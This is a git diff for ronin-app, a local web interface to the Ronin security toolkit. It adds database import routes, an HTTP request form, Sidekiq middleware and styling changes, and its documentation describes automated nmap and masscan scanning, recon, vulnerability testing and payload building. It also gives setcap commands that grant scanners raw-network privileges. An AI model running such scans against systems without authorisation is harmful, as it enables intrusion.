diff --git a/.github/workflows/ruby.yml b/.github/workflows/ruby.yml index 683f254..76bf278 100644 --- a/.github/workflows/ruby.yml +++ b/.github/workflows/ruby.yml @@ -9,7 +9,6 @@ jobs: fail-fast: false matrix: ruby: - - '3.0' - '3.1' - '3.2' - '3.3' diff --git a/.gitignore b/.gitignore index 1a37534..ff37739 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,7 @@ /Gemfile.lock /coverage /doc +/pkg /log /man/*.1 /tmp diff --git a/.ruby-version b/.ruby-version index 3c2f3ca..27fea83 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -ruby-3.1 +ruby-3.3 diff --git a/ChangeLog.md b/ChangeLog.md index faf8e7c..ebc8b5a 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -1,4 +1,38 @@ -### 0.1.0 / 2023-XX-XX +### 0.1.0 / 2024-07-22 * Initial release: + * Provides a web interface to explore and search the + [ronin database][ronin-db]. + * Allows managing [ronin-repos] from the web interface. + * Allows listing and building the built-in or installed 3rd-party + [payloads][ronin-payloads]. + * Allows listing installed 3rd-party [exploits][ronin-exploits]. + * Supports automating [nmap] and [masscan] scans and importing their results + into the [ronin database][ronin-db]. + * Supports automating [spidering websites][ronin-web-spider] and importing all + visited URLs into the [ronin database][ronin-db]. + * Supports performing recon using [ronin-recon] and importing all discovered + hostnames, IPs, and URLs into [ronin database][ronin-db]. + * Supports testing URLs for web vulnerabilities using [ronin-vulns]. +[sqlite]: https://sqlite.org/ +[redis]: https://redis.io/ +[nmap]: https://nmap.org/ +[masscan]: https://github.com/robertdavidgraham/masscan#readme + +[Ruby]: https://www.ruby-lang.org/ +[dry-types]: https://dry-rb.org/gems/dry-types/ +[dry-schema]: https://dry-rb.org/gems/dry-schema/ +[dry-validation]: https://dry-rb.org/gems/dry-validation/ + +[ronin-support]: https://github.com/ronin-rb/ronin-support#readme +[ronin-repos]: https://github.com/ronin-rb/ronin-repos#readme +[ronin-db]: https://github.com/ronin-rb/ronin-db#readme +[ronin-payloads]: https://github.com/ronin-rb/ronin-payloads#readme +[ronin-vulns]: https://github.com/ronin-rb/ronin-vulns#readme +[ronin-exploits]: https://github.com/ronin-rb/ronin-exploits#readme +[ronin-nmap]: https://github.com/ronin-rb/ronin-nmap#readme +[ronin-masscan]: https://github.com/ronin-rb/ronin-masscan#readme +[ronin-web-spider]: https://github.com/ronin-rb/ronin-web-spider#readme +[ronin-recon]: https://github.com/ronin-rb/ronin-recon#readme +[ronin-vulns]: https://github.com/ronin-rb/ronin-vulns#readme diff --git a/Gemfile b/Gemfile index f384c51..df8cc43 100644 --- a/Gemfile +++ b/Gemfile @@ -3,8 +3,8 @@ source 'https://rubygems.org' gemspec -gem 'ruby-masscan', '~> 0.3', github: 'postmodern/ruby-masscan', - branch: '0.3.0' +# gem 'ruby-masscan', '~> 0.3', github: 'postmodern/ruby-masscan', +# branch: 'main' # NOTE: do not auto-load gems which are meant to be executed at runtime gem 'puma', require: false @@ -13,35 +13,38 @@ gem 'sidekiq', require: false # # Ronin dependencies # -gem 'ronin-support', '~> 1.1', github: 'ronin-rb/ronin-support', - branch: '1.1.0' -gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', - branch: '0.2.0' -gem 'ronin-db', '~> 0.2', github: 'ronin-rb/ronin-db', - branch: '0.2.0' - -gem 'ronin-db-activerecord', '~> 0.2', github: 'ronin-rb/ronin-db-activerecord', - branch: '0.2.0' - -gem 'ronin-payloads', '~> 0.1', github: 'ronin-rb/ronin-payloads' -# gem 'ronin-exploits', '~> 1.0', github: 'ronin-rb/ronin-exploits' -gem 'ronin-vulns', '~> 0.2', github: 'ronin-rb/ronin-vulns', - branch: '0.2.0' -gem 'ronin-web-spider', '~> 0.2', github: 'ronin-rb/ronin-web-spider', - branch: '0.2.0' -gem 'ronin-recon', '~> 0.1', github: 'ronin-rb/ronin-recon' -gem 'ronin-nmap', '~> 0.1', github: 'ronin-rb/ronin-nmap' -gem 'ronin-masscan', '~> 0.1', github: 'ronin-rb/ronin-masscan' -gem 'ronin-repos', '~> 0.2', github: 'ronin-rb/ronin-repos', - branch: '0.2.0' +# gem 'ronin-support', '~> 1.1', github: 'ronin-rb/ronin-support', +# branch: 'main' +# gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', +# branch: 'main' +# gem 'ronin-db', '~> 0.2', github: 'ronin-rb/ronin-db', +# branch: 'main' + +# gem 'ronin-db-activerecord', '~> 0.2', github: 'ronin-rb/ronin-db-activerecord', +# branch: 'main' + +# gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads' +# gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits', +# branch: 'main' +# gem 'ronin-vulns', '~> 0.2', github: 'ronin-rb/ronin-vulns', +# branch: 'main' +# gem 'ronin-web-spider', '~> 0.2', github: 'ronin-rb/ronin-web-spider', +# branch: 'main' +# gem 'ronin-recon', '~> 0.1', github: 'ronin-rb/ronin-recon' +# gem 'ronin-nmap', '~> 0.1', github: 'ronin-rb/ronin-nmap' +# gem 'ronin-masscan', '~> 0.1', github: 'ronin-rb/ronin-masscan' +# gem 'ronin-repos', '~> 0.2', github: 'ronin-rb/ronin-repos', +# branch: 'main' group :development do gem 'rake', require: false + gem 'rack-test', '~> 2.1', require: false gem 'rubygems-tasks', '~> 0.2' gem 'rspec', '~> 3.0', require: false gem 'simplecov', '~> 0.20', require: false + gem 'capybara', '~> 3.40', require: false gem 'kramdown', '~> 2.0', require: false gem 'kramdown-man', '~> 1.0', require: false diff --git a/README.md b/README.md index f32f76a..7466684 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,8 @@ ronin-app is a small web application that is meant to be ran locally by the user. It provides a web interface to [ronin-support], [ronin-repos], [ronin-db], [ronin-payloads], [ronin-exploits], as well as automating -[ronin-nmap], [ronin-masscan], and [ronin-web-spider]. +[ronin-nmap], [ronin-masscan], [ronin-web-spider], [ronin-recon], and +[ronin-vulns]. ## Features @@ -22,9 +23,65 @@ user. It provides a web interface to [ronin-support], [ronin-repos], [ronin-db], into the [ronin database][ronin-db]. * Supports automating [spidering websites][ronin-web-spider] and importing all visited URLs into the [ronin database][ronin-db]. +* Supports performing recon using [ronin-recon] and importing all discovered + hostnames, IPs, and URLs into [ronin database][ronin-db]. +* Supports testing URLs for web vulnerabilities using [ronin-vulns]. * Small memory footprint (~184K). * Fast (~1.251ms response time). +## Screenshots + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + +
+ ## Synopsis ``` @@ -54,7 +111,15 @@ http://localhost:1337, if ran in a real terminal. * [redis-server][redis] >= 6.2 * [nmap] * [masscan] -* [Ruby] >= 3.0.0 +* [Ruby] >= 3.1.0 + +**Note:** both `nmap` and `masscan` require additional Linux capabilities in +order to be ran without `sudo` or `root` privileges. + +```shell +sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip "$(which nmap)" +sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip "$(which masscan)" +``` ## Security @@ -146,3 +211,5 @@ along with ronin-app. If not, see . [ronin-nmap]: https://github.com/ronin-rb/ronin-nmap#readme [ronin-masscan]: https://github.com/ronin-rb/ronin-masscan#readme [ronin-web-spider]: https://github.com/ronin-rb/ronin-web-spider#readme +[ronin-recon]: https://github.com/ronin-rb/ronin-recon#readme +[ronin-vulns]: https://github.com/ronin-rb/ronin-vulns#readme diff --git a/Rakefile b/Rakefile index b9ab0e3..d166a13 100644 --- a/Rakefile +++ b/Rakefile @@ -40,3 +40,5 @@ Ronin::DB::Tasks.new( database: 'db/dev.sqlite3' } ) + +task :setup => %w[man db:migrate] diff --git a/app.rb b/app.rb index 6d1a248..540bbfd 100644 --- a/app.rb +++ b/app.rb @@ -27,8 +27,8 @@ require 'sinatra/reloader' # configuration -require './config/database' -require './config/sidekiq' +require_relative 'config/database' +require_relative 'config/sidekiq' # ronin libraries require 'ronin/repos' @@ -39,6 +39,7 @@ # param validations require 'ronin/app/validations/install_repo_params' require 'ronin/app/validations/import_params' +require 'ronin/app/validations/http_params' # schema builders require 'ronin/app/schemas/payloads/encoders/encode_schema' @@ -48,12 +49,12 @@ require 'ronin/app/helpers/html' # worker classes -require './workers/install_repo' -require './workers/update_repo' -require './workers/update_repos' -require './workers/remove_repo' -require './workers/purge_repos' -require './workers/import' +require_relative 'workers/install_repo' +require_relative 'workers/update_repo' +require_relative 'workers/update_repos' +require_relative 'workers/remove_repo' +require_relative 'workers/purge_repos' +require_relative 'workers/import' require 'ronin/app/version' require 'sidekiq/api' @@ -86,6 +87,10 @@ class App < Sinatra::Base include Pagy::Frontend end + after do + ActiveRecord::Base.connection_handler.clear_active_connections! + end + get '/' do erb :index end @@ -297,7 +302,7 @@ class App < Sinatra::Base erb :"exploits/index" end - get %r{/exploits(?[a-z0-9_-]+(?:/[a-z0-9_-]+)*)} do + get %r{/exploits/(?[A-Za-z0-9_-]+(?:/[A-Za-z0-9_-]+)*)} do @exploit = Ronin::Exploits.load_class(params[:exploit_id]) erb :"exploits/show" @@ -350,6 +355,28 @@ class App < Sinatra::Base erb :queue end + get '/network/http' do + erb :"network/http" + end + + post '/network/http' do + result = Validations::HTTPParams.call(params) + + if result.success? + kwargs = result.to_h + method = kwargs.delete(:method) + url = kwargs.delete(:url) + + @http_response = Ronin::Support::Network::HTTP.request(method,url,**kwargs) + + erb :"network/http" + else + @params = params + @errors = result.errors + halt 400, erb(:"network/http") + end + end + private # diff --git a/app/db.rb b/app/db.rb index 59ef891..1c3a282 100644 --- a/app/db.rb +++ b/app/db.rb @@ -85,6 +85,17 @@ class App < Sinatra::Base end end + post '/db/host_names/import' do + begin + host_name = Ronin::DB::HostName.find_or_import(params[:host_name]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/host_names" + end + + redirect "/db/host_names/#{host_name.id}" + end + { mac_addresses: Ronin::DB::MACAddress, ip_addresses: Ronin::DB::IPAddress, @@ -118,8 +129,8 @@ class App < Sinatra::Base delete "/db/#{name}/:id/notes/:note_id" do @record = model.find(params[:id]) - if @record - @record.notes.destroy(params[:note_id]) + if @record && @record.notes.destroy(params[:note_id]) + redirect "db/#{name}/#{params[:id]}" else halt 404 end @@ -214,6 +225,17 @@ class App < Sinatra::Base end end + post '/db/ports/import' do + begin + port = Ronin::DB::Port.find_or_import(params[:port]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/ports" + end + + redirect "/db/ports/#{port.id}" + end + get '/db/services' do @pagy, @services = pagy(Ronin::DB::Service) @@ -230,6 +252,17 @@ class App < Sinatra::Base end end + post '/db/services/import' do + begin + service = Ronin::DB::Service.find_or_import(params[:service]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/services" + end + + redirect "/db/services/#{service.id}" + end + get '/db/urls' do @pagy, @urls = pagy(Ronin::DB::URL) @@ -246,6 +279,17 @@ class App < Sinatra::Base end end + post '/db/urls/import' do + begin + url = Ronin::DB::URL.find_or_import(params[:url]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/urls" + end + + redirect "/db/urls/#{url.id}" + end + get '/db/url_schemes' do @pagy, @url_schemes = pagy(Ronin::DB::URLScheme) @@ -294,6 +338,17 @@ class App < Sinatra::Base end end + post '/db/email_addresses/import' do + begin + email_address = Ronin::DB::EmailAddress.find_or_import(params[:email_address]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/email_addresses" + end + + redirect "/db/email_addresses/#{email_address.id}" + end + get '/db/user_names' do @pagy, @user_names = pagy(Ronin::DB::UserName) @@ -310,6 +365,17 @@ class App < Sinatra::Base end end + post '/db/user_names/import' do + begin + user_name = Ronin::DB::UserName.find_or_import(params[:user_name]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/user_names" + end + + redirect "/db/user_names/#{user_name.id}" + end + get '/db/passwords' do @pagy, @passwords = pagy(Ronin::DB::Password) @@ -326,6 +392,17 @@ class App < Sinatra::Base end end + post '/db/passwords/import' do + begin + password = Ronin::DB::Password.find_or_import(params[:password]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/passwords" + end + + redirect "/db/passwords/#{password.id}" + end + get '/db/credentials' do @pagy, @credentials = pagy(Ronin::DB::Credential) @@ -342,6 +419,17 @@ class App < Sinatra::Base end end + post '/db/credentials/import' do + begin + credential = Ronin::DB::Credential.find_or_import(params[:cred]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/credentials" + end + + redirect "/db/credentials/#{credential.id}" + end + get '/db/advisories' do @pagy, @advisories = pagy(Ronin::DB::Advisory) @@ -358,6 +446,17 @@ class App < Sinatra::Base end end + post '/db/advisories/import' do + begin + advisory = Ronin::DB::Advisory.find_or_import(params[:id]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/advisories" + end + + redirect "/db/advisories/#{advisory.id}" + end + get '/db/software' do @pagy, @software = pagy(Ronin::DB::Software) @@ -434,6 +533,17 @@ class App < Sinatra::Base end end + post '/db/phone_numbers/import' do + begin + phone_number = Ronin::DB::PhoneNumber.find_or_import(params[:phone_number]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/phone_numbers" + end + + redirect "/db/phone_numbers/#{phone_number.id}" + end + get '/db/street_addresses' do @pagy, @street_addresses = pagy(Ronin::DB::StreetAddress) @@ -441,9 +551,9 @@ class App < Sinatra::Base end get '/db/street_addresses/:id' do - @phone_number = Ronin::DB::StreetAddress.find(params[:id]) + @street_address = Ronin::DB::StreetAddress.find(params[:id]) - if @phone_number + if @street_address erb :"db/street_addresses/show" else halt 404 @@ -466,6 +576,17 @@ class App < Sinatra::Base end end + post '/db/organizations/import' do + begin + organization = Ronin::DB::Organization.find_or_import(params[:name]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/organizations" + end + + redirect "/db/organizations/#{organization.id}" + end + get '/db/organization_departments/:id' do @organization_department = Ronin::DB::OrganizationDepartment.find(params[:id]) @@ -502,6 +623,17 @@ class App < Sinatra::Base end end + post '/db/people/import' do + begin + person = Ronin::DB::Person.find_or_import(params[:person]) + rescue ArgumentError => error + flash[:danger] = error.message + redirect "db/people" + end + + redirect "/db/people/#{person.id}" + end + { host_names: Ronin::DB::HostName, asns: Ronin::DB::ASN, diff --git a/app/scanning.rb b/app/scanning.rb index 52a61bc..5234455 100644 --- a/app/scanning.rb +++ b/app/scanning.rb @@ -29,11 +29,11 @@ require 'ronin/app/helpers/html' # worker classes -require './workers/nmap' -require './workers/masscan' -require './workers/spider' -require './workers/recon' -require './workers/vulns' +require_relative '../workers/nmap' +require_relative '../workers/masscan' +require_relative '../workers/spider' +require_relative '../workers/recon' +require_relative '../workers/vulns' # # App class containing routes for scanning. diff --git a/config/database.rb b/config/database.rb index 84227f3..afbea42 100644 --- a/config/database.rb +++ b/config/database.rb @@ -11,3 +11,7 @@ end Ronin::DB.connect(database, pool: pool_size) + +at_exit do + ActiveRecord::Base.connection_pool.disconnect! +end diff --git a/config/sidekiq.rb b/config/sidekiq.rb index 2aab424..950ef9c 100644 --- a/config/sidekiq.rb +++ b/config/sidekiq.rb @@ -2,12 +2,18 @@ require 'sidekiq' require 'redis/namespace' +require 'middleware/sidekiq/active_record_connection_pool' + redis_config = { url: "redis://#{ENV['REDIS_HOST']}:#{ENV['REDIS_PORT']}" } Sidekiq.configure_server do |config| config.redis = redis_config + + config.server_middleware do |chain| + chain.add Middleware::Sidekiq::ActiveRecordConnectionPool + end end Sidekiq.configure_client do |config| diff --git a/gemspec.yml b/gemspec.yml index 48a8a71..9bfe9f2 100644 --- a/gemspec.yml +++ b/gemspec.yml @@ -1,12 +1,12 @@ name: ronin-app summary: A local web interface for Ronin description: | - ronin-app is a small web application that is meant to be ran locally by the + ronin-app is a small web application that is meant to be ran locally by the user. It provides a web interface to ronin-support, ronin-repos, ronin-db, ronin-payloads, ronin-exploits, as well as automating - ronin-nmap, ronin-masscan, and ronin-web-spider. + ronin-nmap, ronin-masscan, ronin-web-spider, ronin-recon, and ronin-vulns. -license: AGPL-3.0 +license: AGPL-3.0-or-later authors: Postmodern email: postmodern.mod3@gmail.com homepage: https://ronin-rb.dev/ @@ -21,7 +21,10 @@ metadata: generated_files: - man/ronin-app.1 -required_ruby_version: ">= 3.0.0" +excluded_files: + - screenshots/*.svg + +required_ruby_version: ">= 3.1.0" dependencies: dry-schema: ~> 1.0 @@ -38,10 +41,11 @@ dependencies: # Ronin dependencies: ronin-support: ~> 1.1 ronin-core: ~> 0.2 + ronin-repos: ~> 0.2 ronin-db-activerecord: ~> 0.2 ronin-db: ~> 0.2 - ronin-payloads: ~> 0.1 - ronin-exploits: ~> 1.0 + ronin-payloads: ~> 0.2 + ronin-exploits: ~> 1.1 ronin-vulns: ~> 0.2 ronin-web-spider: ~> 0.2 ronin-nmap: ~> 0.1 diff --git a/lib/middleware/sidekiq/active_record_connection_pool.rb b/lib/middleware/sidekiq/active_record_connection_pool.rb new file mode 100644 index 0000000..57d3ed2 --- /dev/null +++ b/lib/middleware/sidekiq/active_record_connection_pool.rb @@ -0,0 +1,47 @@ +# frozen_string_literal: true +# +# ronin-app - a local web app for Ronin. +# +# Copyright (C) 2023 Hal Brodigan (postmodern.mod3@gmail.com) +# +# ronin-app is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ronin-app is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with ronin-app. If not, see . +# + +require 'active_record' + +module Middleware + module Sidekiq + # + # Sidekiq middleware to clear the ActiveRecord connection pool after each + # job. + # + class ActiveRecordConnectionPool + + # + # Allows the job to be processed, then clears the ActiveRecord connection + # pool. + # + def call(*) + yield + ensure + begin + ActiveRecord::Base.connection_handler.clear_active_connections! + rescue => error + warn error.message + end + end + + end + end +end diff --git a/lib/ronin/app/cli.rb b/lib/ronin/app/cli.rb index ca8d37b..4d05ada 100644 --- a/lib/ronin/app/cli.rb +++ b/lib/ronin/app/cli.rb @@ -21,12 +21,13 @@ require 'ronin/core/cli/command' require 'ronin/core/cli/logging' require 'ronin/db/config_file' -require 'ronin/app/root' -require 'ronin/app/version' require 'command_kit/options/version' require 'command_kit/open_app' +require_relative 'root' +require_relative 'version' + module Ronin module App # diff --git a/lib/ronin/app/schemas/params_schema.rb b/lib/ronin/app/schemas/params_schema.rb index b6efecb..074c313 100644 --- a/lib/ronin/app/schemas/params_schema.rb +++ b/lib/ronin/app/schemas/params_schema.rb @@ -18,9 +18,9 @@ # along with ronin-app. If not, see . # -require 'dry-schema' -require 'ronin/app/types' +require_relative '../types' +require 'dry-schema' require 'ronin/core/params/types' module Ronin diff --git a/lib/ronin/app/schemas/payloads/build_schema.rb b/lib/ronin/app/schemas/payloads/build_schema.rb index e5c0e4e..891ba0f 100644 --- a/lib/ronin/app/schemas/payloads/build_schema.rb +++ b/lib/ronin/app/schemas/payloads/build_schema.rb @@ -18,9 +18,9 @@ # along with ronin-app. If not, see . # -require 'dry/schema' +require_relative '../params_schema' -require 'ronin/app/schemas/params_schema' +require 'dry/schema' module Ronin module App diff --git a/lib/ronin/app/schemas/payloads/encoders/encode_schema.rb b/lib/ronin/app/schemas/payloads/encoders/encode_schema.rb index 28e4058..fb15ba3 100644 --- a/lib/ronin/app/schemas/payloads/encoders/encode_schema.rb +++ b/lib/ronin/app/schemas/payloads/encoders/encode_schema.rb @@ -18,9 +18,9 @@ # along with ronin-app. If not, see . # -require 'dry/schema' +require_relative '../../params_schema' -require 'ronin/app/schemas/params_schema' +require 'dry/schema' module Ronin module App diff --git a/lib/ronin/app/types/import.rb b/lib/ronin/app/types/import.rb index a09bfcf..3862149 100644 --- a/lib/ronin/app/types/import.rb +++ b/lib/ronin/app/types/import.rb @@ -18,7 +18,7 @@ # along with ronin-app. If not, see . # -require 'ronin/app/types' +require_relative '../types' module Ronin module App diff --git a/lib/ronin/app/types/nmap.rb b/lib/ronin/app/types/nmap.rb index d2d175a..d3563c0 100644 --- a/lib/ronin/app/types/nmap.rb +++ b/lib/ronin/app/types/nmap.rb @@ -18,7 +18,7 @@ # along with ronin-app. If not, see . # -require 'ronin/app/types' +require_relative '../types' require 'nmap/command' diff --git a/lib/ronin/app/types/spider.rb b/lib/ronin/app/types/spider.rb index ff4f915..0a8bd81 100644 --- a/lib/ronin/app/types/spider.rb +++ b/lib/ronin/app/types/spider.rb @@ -18,7 +18,7 @@ # along with ronin-app. If not, see . # -require 'ronin/app/types' +require_relative '../types' module Ronin module App diff --git a/lib/ronin/app/types/vulns.rb b/lib/ronin/app/types/vulns.rb index 7a7a403..0ba38e5 100644 --- a/lib/ronin/app/types/vulns.rb +++ b/lib/ronin/app/types/vulns.rb @@ -18,7 +18,7 @@ # along with ronin-app. If not, see . # -require 'ronin/app/types' +require_relative '../types' module Ronin module App diff --git a/lib/ronin/app/validations/http_params.rb b/lib/ronin/app/validations/http_params.rb new file mode 100644 index 0000000..e506576 --- /dev/null +++ b/lib/ronin/app/validations/http_params.rb @@ -0,0 +1,126 @@ +# frozen_string_literal: true +# +# ronin-app - a local web app for Ronin. +# +# Copyright (c) 2023-2024 Hal Brodigan (postmodern.mod3@gmail.com) +# +# ronin-app is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ronin-app is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with ronin-app. If not, see . +# + +require 'dry/validation' + +module Ronin + module App + module Validations + # + # Validations for the form params submitted to `POST /network/http`. + # + class HTTPParams < Dry::Validation::Contract + + HTTPMethods = Types::Symbol.enum( + copy: 'COPY', + delete: 'DELETE', + get: 'GET', + head: 'HEAD', + lock: 'LOCK', + mkcol: 'MKCOL', + move: 'MOVE', + options: 'OPTIONS', + patch: 'PATCH', + post: 'POST', + propfind: 'PROPFIND', + proppatch: 'PROPPATCH', + put: 'PUT', + trace: 'TRACE', + unlock: 'UNLOCK' + ) + + Versions = (Types::Float | Types::Integer).enum( + 1 => '1.0', + 1.1 => '1.1', + 1.2 => '1.2' + ) + + VerificationModes = Types::Symbol.enum( + none: 'none', + peer: 'peer', + fail_if_no_peer_cert: 'fail_if_no_peer_cert' + ) + + Headers = Types::Hash.constructor do |input,type| + if input.is_a?(String) + headers = {} + + input.strip.each_line(chomp: true) do |line| + name, value = line.split(/:\s*/,2) + + case (previous_value = headers[name]) + when nil # no value yet + headers[name] = value + when String # previous value + headers[name] = [previous_value, value] + when Array # multiple previous values + previous_value << value + end + end + + headers unless headers.empty? + elsif type.valid?(input) + input + else + type.call(input) + end + end + + params do + required(:method).filled(HTTPMethods) + required(:url).filled(:string) + + optional(:body).maybe(:string) + optional(:headers).maybe(Headers) + + optional(:proxy).maybe(:string) + optional(:user_agent).maybe(:string) + optional(:user).maybe(:string) + optional(:password).maybe(:string) + optional(:cookie).maybe(:string) + + optional(:ssl).hash do + optional(:timeout).maybe(:integer) + optional(:version).maybe(Versions) + optional(:min_version).maybe(Versions) + optional(:max_version).maybe(Versions) + optional(:verify).maybe(VerificationModes) + optional(:verify_depth).maybe(:integer) + optional(:verify_hostname).maybe(:bool) + end + end + + # + # Initializes and calls the validation contract. + # + # @param [Hash{String => Object}] params + # The HTTP params to validate. + # + # @return [Dry::Validation::Result] + # The validation result. + # + def self.call(params) + new.call(params) + end + + end + end + end +end diff --git a/lib/ronin/app/validations/import_params.rb b/lib/ronin/app/validations/import_params.rb index 2fbf203..627710d 100644 --- a/lib/ronin/app/validations/import_params.rb +++ b/lib/ronin/app/validations/import_params.rb @@ -18,7 +18,7 @@ # along with ronin-app. If not, see . # -require 'ronin/app/types/import' +require_relative '../types/import' require 'dry/validation' require 'set' diff --git a/lib/ronin/app/validations/masscan_params.rb b/lib/ronin/app/validations/masscan_params.rb index baa23b2..bf51811 100644 --- a/lib/ronin/app/validations/masscan_params.rb +++ b/lib/ronin/app/validations/masscan_params.rb @@ -18,9 +18,9 @@ # along with ronin-app. If not, see . # -require 'dry/validation' -require 'ronin/app/types' +require_relative '../types' +require 'dry/validation' require 'masscan/command' module Ronin @@ -33,8 +33,8 @@ class MasscanParams < Dry::Validation::Contract params do required(:ips).filled(Types::Args).each(:filled?) + required(:ports).filled(:string) - optional(:ports).maybe(:string) optional(:banners).maybe(:bool) optional(:rate).maybe(:integer) optional(:config_file).maybe(:string) diff --git a/lib/ronin/app/validations/nmap_params.rb b/lib/ronin/app/validations/nmap_params.rb index c8023fe..96a14ce 100644 --- a/lib/ronin/app/validations/nmap_params.rb +++ b/lib/ronin/app/validations/nmap_params.rb @@ -18,10 +18,10 @@ # along with ronin-app. If not, see . # -require 'dry/validation' -require 'ronin/app/types' -require 'ronin/app/types/nmap' +require_relative '../types' +require_relative '../types/nmap' +require 'dry/validation' require 'nmap/command' module Ronin diff --git a/lib/ronin/app/validations/recon_params.rb b/lib/ronin/app/validations/recon_params.rb index fc200e5..32280f4 100644 --- a/lib/ronin/app/validations/recon_params.rb +++ b/lib/ronin/app/validations/recon_params.rb @@ -18,9 +18,9 @@ # along with ronin-app. If not, see . # -require 'dry/validation' -require 'ronin/app/types' +require_relative '../types' +require 'dry/validation' require 'ronin/recon/value/parser' module Ronin diff --git a/lib/ronin/app/validations/spider_params.rb b/lib/ronin/app/validations/spider_params.rb index e7481dc..3f3c28f 100644 --- a/lib/ronin/app/validations/spider_params.rb +++ b/lib/ronin/app/validations/spider_params.rb @@ -18,8 +18,9 @@ # along with ronin-app. If not, see . # +require_relative '../types/spider' + require 'dry/validation' -require 'ronin/app/types/spider' module Ronin module App diff --git a/lib/ronin/app/validations/vulns_params.rb b/lib/ronin/app/validations/vulns_params.rb index e7fa1c1..5c588ac 100644 --- a/lib/ronin/app/validations/vulns_params.rb +++ b/lib/ronin/app/validations/vulns_params.rb @@ -18,8 +18,9 @@ # along with ronin-app. If not, see . # +require_relative '../types/vulns' + require 'dry/validation' -require 'ronin/app/types/vulns' module Ronin module App diff --git a/public/stylesheets/app.css b/public/stylesheets/app.css index 060fcff..0781677 100644 --- a/public/stylesheets/app.css +++ b/public/stylesheets/app.css @@ -16,6 +16,7 @@ body { main { clear: both; + min-height: 70vh; } header { @@ -23,6 +24,13 @@ header { background-color: black; } +#logo { + margin: 0.5em; +} + +/* + * Top nav menu rules. + */ nav#top-menu { margin-left: auto; padding: 0.5em 0.5em; @@ -53,10 +61,10 @@ button#dark-mode-toggle svg#dark-mode-moon { display: none; } -#logo { - margin: 0.5em; -} - +/* + * Navbar rules. + * https://bulma.io/documentation/components/navbar/ + */ nav.navbar { font-size: 140%; } @@ -70,6 +78,18 @@ nav.navbar a:hover { color: black; } +nav.navbar .navbar-dropdown { + background-color: black; + padding-top: 0; + border-top: 0; +} + +nav.navbar .navbar-dropdown { + background-color: black; + padding-top: 0; + border-top: 0; +} + main > nav.breadcrumb { margin-top: 1em; } @@ -78,6 +98,9 @@ main > nav.breadcrumb a { color: var(--fg-color); } +/* + * Content rules. + */ .content { margin-top: 1em; margin-bottom: 1em; @@ -107,28 +130,68 @@ main > nav.breadcrumb a { overflow-x: auto; } -.content .advanced { - transition: all 0.2s ease-in-out; - overflow: hidden; + +.content .label.is-required::after, +.content .control.is-required::after { + content: "*"; + color: red; + display: inline; + font-size: 1.2rem; +} + +.content .control.is-required::after { + position: absolute; + right: 0.2rem; + top: 0; } -.content .advanced > a.advanced-toggle { - border-bottom: 1px solid #c3c3c3; +/* + * Content Tab rules. + */ +.content .tabs { + margin: 0 !important; } -.content .advanced.hidden > .advanced-content { +.content .tabs-content { + padding: 1rem 1.5rem !important; +} + +.content .tabs ul { + margin: 0 !important; + border: none; +} + +.content .tabs ul li { + padding: 4px 0; +} + +.content .tabs ul li a { + text-decoration: none; +} + +.content .tabs ul li a:hover { + background-color: var(--fg-color); +} + +.content .content-tab { display: none; } +.content .content-tab.is-active { + display: block; +} + footer.footer { clear: both; - margin-top: 10rem; color: gray; background-color: var(--fg-color); font-size: medium; background-color: black; } +/* + * Dark-mode rules. + */ body.dark-mode { color: var(--dark-mode-fg-color); background-color: var(--dark-mode-bg-color); @@ -158,24 +221,9 @@ body.dark-mode main a { color: var(--dark-mode-fg-color); } -.label.is-required::after, -.control.is-required::after { - content: "*"; - color: red; - display: inline; - font-size: 1.2rem; -} - -.control.is-required::after { - position: absolute; - right: 0.2rem; - top: 0; -} - -.navbar-dropdown { - background-color: black; - padding-top: 0; - border-top: 0; +body.dark-mode .content .tabs ul li a:hover { + color: var(--dark-mode-bg-color); + background-color: var(--dark-mode-fg-color); } body.dark-mode .dropdown-content { diff --git a/ronin-app.gemspec b/ronin-app.gemspec index 45f4e52..aa4d9ff 100644 --- a/ronin-app.gemspec +++ b/ronin-app.gemspec @@ -27,6 +27,7 @@ Gem::Specification.new do |gem| gem.files = `git ls-files`.split($/) gem.files = glob[gemspec['files']] if gemspec['files'] gem.files += Array(gemspec['generated_files']) + gem.files -= glob[gemspec['excluded_files']] if gemspec['excluded_files'] # exclude test files from the packages gem gem.files -= glob[gemspec['test_files'] || 'spec/{**/}*'] diff --git a/screenshots/ronin_app_db.svg b/screenshots/ronin_app_db.svg new file mode 100644 index 0000000..51a8bb5 --- /dev/null +++ b/screenshots/ronin_app_db.svg @@ -0,0 +1,495 @@ + + + + + + + + + + + + + + + + + + + 